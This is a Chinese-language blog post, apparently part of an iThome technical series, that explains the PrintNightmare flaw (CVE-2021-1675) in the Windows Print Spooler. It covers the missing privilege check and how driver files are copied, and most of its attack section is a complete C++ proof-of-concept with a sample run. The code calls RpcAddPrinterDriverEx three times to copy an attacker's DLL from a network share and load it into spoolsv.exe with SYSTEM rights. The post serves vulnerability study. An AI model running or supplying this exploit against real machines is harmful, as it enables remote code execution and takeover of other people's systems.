今年微软的 Print Spooler 漏洞频频,包含六月中的 CVE-2021-1675、七月的 CVE-2021-34527,还有八月的 CVE-2021-36936。这篇要说明这个被微软称作 PrintingNightmare 的 CVE-2021-1675 的成因与原理。
列印多工缓冲处理器 - Print Spooler,是用来管理所有本地和网络打印队列及控制所有打印工作。
原本这个漏洞只被认为是个 LPE(Local Privilege Escalation) 漏洞。但是只要在同个 Domain,并且在目标机器有一般使用者权限,能够存取 Print Spooler 服务,就可以触发这个漏洞。因此这个漏洞就升级成 RCE(Remote Code Execution) 漏洞。
可以使用 impacket 的 rpcdump 确认 Print Spooler 服务是否存在。
$ python3 rpcdump.py @192.168.88.145 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
从 Client 透过 RPC 传送资讯给 Server 的 Print Spooler 服务,并且更新档案。其中在处理 RPC 的过程,localspl.dll 中的 SplAddPrinterDriverEx 这个函数因为没有检查 SeLoadDriverPrivilege 权限,最终导致让攻击者可以提权至 SYSTEM 并执行任意程序。
当 Print Spooler 有发生更新的状况时,新版本的档案会放在 C:\Windows\System32\spool\drivers\x64\3
,而旧版本的档案保留在 C:\Windows\System32\spool\drivers\x64\3\Old\
目录,Old 里面又会放流水号的目录以免有很多个旧版本。攻击者可以透过这点利用 RPC 先把网路芳邻的档案复制进本机目录,再更新 Print Spooler 载入自己的 Image。
三个参数 pDriverPath、pDataFile、pConfigFile 分别代表三个路径,其中 pDriverPath 必须是 UNIDRV.dll,而 UNIDRV.dll 的位置会根据版本不同而改变,在我的 Windows Server 2019 的路径是 C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
;pDataFile 可以使用 UNC Path,虽然不会载入到 spoolsv.exe,但是档案会被复制;pConfigFile 则是会载入 spoolsv.exe 的档案,不过这不能填 UNC Path,得要先利用 pDataFile 把档案复制到本机後再 RPC 一次才载入。
改自 afwu/PrintNightmare,不过现在连结似乎失效了,完整 POC 放在 zeze-zeze/2021iThome。
int wmain(int argc, wchar_t* argv[]) {
if (argc != 5) {
printf(".\\poc.exe dc_ip path_to_exp user_name password\n");
printf("For example: \n");
printf(".\\poc.exe 192.168.228.191 \\\\192.168.228.1\\test\\MyExploit.dll test 123 \n");
return 0;
}
wsprintf(dc_ip, L"%s", argv[1]);
wsprintf(dc_path, L"\\\\%s", argv[1]);
wsprintf(src_exp_path, L"%s", argv[2]);
wsprintf(exp_name, L"%s", wcsrchr(argv[2], '\\')+1);
wsprintf(username, L"%s", argv[3]);
wsprintf(password, L"%s", argv[4]);
printf("[+] Get Info:\n");
wprintf(L"[+] dc_ip: %s\n", dc_ip);
wprintf(L"[+] dc_path: %s\n", dc_path);
wprintf(L"[+] src_exp_path: %s\n", src_exp_path);
wprintf(L"[+] exp_name: %s\n", exp_name);
wprintf(L"[+] username: %s\n", username);
wprintf(L"[+] password: %s\n\n", password);
// 1. 设定 RPC 参数
// 其中 pDriverPath 必须是 UNIDRV.DLL;
// pConfigFile 是会被载入的档案;
// pDataFile 不会被载入,但是会被复制到 C:\Windows\System32\spool\drivers\x64\3\
DRIVER_INFO_2 info;
info.cVersion = 3;
info.pConfigFile = (LPWSTR)L"C:\\Windows\\System32\\KernelBase.dll";
info.pDataFile = src_exp_path;
info.pDriverPath = (LPWSTR)L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL";
info.pEnvironment = (LPWSTR)L"Windows x64";
info.pName = (LPWSTR)L"XDD";
DRIVER_CONTAINER container_info;
container_info.Level = 2;
container_info.DriverInfo.Level2 = new DRIVER_INFO_2();
container_info.DriverInfo.Level2->cVersion = 3;
container_info.DriverInfo.Level2->pConfigFile = info.pConfigFile;
container_info.DriverInfo.Level2->pDataFile = info.pDataFile;
container_info.DriverInfo.Level2->pDriverPath = info.pDriverPath;
container_info.DriverInfo.Level2->pEnvironment = info.pEnvironment;
container_info.DriverInfo.Level2->pName = info.pName;
// 2. 取得经过身分验证的 Binding Handle
RPC_BINDING_HANDLE handle;
RPC_STATUS status = CreateBindingHandle(&handle);
// 3. 传送 RPC
RpcTryExcept
{
DWORD hr;
// 第一次会先把 pDataFile 档案复制到 C:\Windows\System32\spool\drivers\x64\3\ ,原本的档案则被放到 C:\Windows\System32\spool\drivers\x64\3\Old\1
// 第二次会把第一次被复制到 C:\Windows\System32\spool\drivers\x64\3\ 的档案放到 C:\Windows\System32\spool\drivers\x64\3\Old\2\
for (int i = 0; i < 2; i++) {
hr = RpcAddPrinterDriverEx(handle,
dc_path,
&container_info,
APD_COPY_ALL_FILES | 0x10 | 0x8000
);
}
// 第三次会把 pConfigFile 改成第二次被放到 C:\Windows\System32\spool\drivers\x64\3\Old\2 的档案
wsprintf(dest_exp_path, L"C:\\Windows\\System32\\spool\\drivers\\x64\\3\\Old\\2\\%s", exp_name);
container_info.DriverInfo.Level2->pConfigFile = dest_exp_path;
hr = RpcAddPrinterDriverEx(handle,
dc_path,
&container_info,
APD_COPY_ALL_FILES | 0x10 | 0x8000
);
wprintf(L"[*] Try to load %s - ErrorCode %d\n", container_info.DriverInfo.Level2->pConfigFile,hr);
if (hr == 0) return 0;
}
RpcExcept(1) {
status = RpcExceptionCode();
printf("RPC ERROR CODE %d\n", status);
}
RpcEndExcept
}
# POC.exe 192.168.88.145 \\192.168.88.145\share\InjectedDLL.dll user password
[+] Get Info:
[+] dc_ip: 192.168.88.145
[+] dc_path: \\192.168.88.145
[+] src_exp_path: \\192.168.88.145\share\InjectedDLL.dll
[+] exp_name: InjectedDLL.dll
[+] username: user
[+] password: password
[+] Binding successful!! handle: -1519388184
[*] Try to load C:\Windows\System32\spool\drivers\x64\3\Old\2\InjectedDLL.dll - ErrorCode 0
POC 会试图复制并载入 InjectedDLL.dll 档案,ErrorCode 为 0 时代表成功。这时在目标机器用 Process Explorer 查看 spoolsv.exe 有没有成功载入 InjectedDLL.dll。
CVE-2021-1675 已在今年六月的 Patch Tuesday 修补,不过因为没修补完全而出现的 CVE-2021-34527 又是另一个故事了。
<<: 第 3 天 「速速前吕布奉先!」|NgModule、HttpClientModule、新增元件
前言 延续前篇Android Curv Gradient 曲线渐层 过了一个月...终於改好啦!!!...
学习目标 本文章将会是阅读官方文件 Get data from a server 内容所做的笔记。 ...
杰哥的考研纪录 tags: IT铁人 首先先跟各位打个招呼! 欢迎来到杰哥的考研小天地~ 这篇会简单...
在介绍的时候有说到我是在爬文苹果电脑的时候注意到ARM的!不得不说,使用了两个多月下来,对於使用全新...
待完成... ...